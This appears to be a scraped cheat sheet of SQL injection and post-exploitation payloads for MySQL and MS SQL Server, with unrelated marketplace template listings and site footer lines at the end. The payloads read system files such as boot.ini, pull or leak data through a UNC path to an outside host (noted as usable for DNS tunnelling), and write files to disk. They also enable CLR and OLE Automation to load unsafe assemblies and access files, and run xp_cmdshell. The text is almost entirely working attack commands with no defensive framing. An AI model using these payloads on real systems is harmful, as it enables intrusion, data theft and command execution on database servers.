select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt') # smb协议
select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道
select 0x313233 into outfile 'D:/1.txt'
select 0x313233 into dumpfile 'D:/1.txt'
create table result(res varchar(8000)); bulk insert result from 'd:/1.txt';
// 开启CLR集成 exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'clr enabled',1 reconfigure
create assembly sqb from 'd:\1.exe' with permission_set=unsafe
select master.dbo.fn_varbintohexstr(cast(content as varbinary)) from sys.assembly_files
create assembly sqb from 'd:\net.exe'; alter assembly sqb add file from 'd:\1.txt' alter assembly sqb add file from 'd:\notnet.exe'
# 开启Ole Automation Procedures sp_configure 'show advanced options',1; RECONFIGURE; sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject',@o out exec sp_oamethod @o, 'opentextfile', @f out, 'd:\1.txt', 1 exec @ret = sp_onmethod @f, 'readline', @line out while(@ret = 0) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end
declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject',@o out exec sp_oamethod @o, 'createtextfile', @f out, 'e:\1.txt', 1 exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'
c:\windows>system32>bcp "select name from sysobjects" query testout.txt -c -s 127.0.0.1 -U sa -p"sa"
exec xp_cmdshell 'echo test>d:\1.txt'
机械节能产品生产企业官网模板...
大气智能家居家具装修装饰类企业通用网站模板...
礼品公司网站模板
宽屏简约大气婚纱摄影影楼模板...
蓝白WAP手机综合医院类整站源码(独立后台)...苏ICP备2024110244号-2 苏公网安备32050702011978号 增值电信业务经营许可证编号:苏B2-20251499 | Copyright 2018 - 2025 源码网商城 (www.ymwmall.com) 版权所有